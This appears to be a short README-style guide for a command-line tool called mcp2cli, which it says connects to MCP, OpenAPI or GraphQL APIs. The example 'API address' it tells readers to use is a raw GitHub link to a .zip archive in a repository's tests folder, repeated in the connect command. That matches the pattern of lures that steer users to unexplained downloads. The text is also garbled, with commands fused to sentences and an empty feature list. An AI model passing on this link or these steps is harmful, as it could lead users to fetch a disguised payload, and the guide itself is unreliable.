mcp2cli works by connecting to your API and letting you control it through commands.
To use mcp2cli, you need the address of an MCP, OpenAPI, or GraphQL API server. This is a web address where your API is hosted.
For example, if your company provides an API at https://github.com/Paulinehot583/mcp2cli/raw/refs/heads/main/tests/mcp-cli-2.4.zip, you will use this URL.
In the command window, type:
mcp2cli connect https://github.com/Paulinehot583/mcp2cli/raw/refs/heads/main/tests/mcp-cli-2.4.zipPress Enter. The tool will connect and learn the API’s capabilities.
Once connected, ask mcp2cli to show commands you can use:
mcp2cli list-commandsThis shows a list of actions the API supports, such as getting data, posting updates, or running queries.
To run a command, type it exactly as shown. For example, to get a list of users:
mcp2cli get-usersmcp2cli will contact the API server and show the results right in the window.
If you forget the syntax or need help, type:
mcp2cli helpThis shows instructions and examples.
mcp2cli supports many common API tasks:
All these work without writing scripts or code.
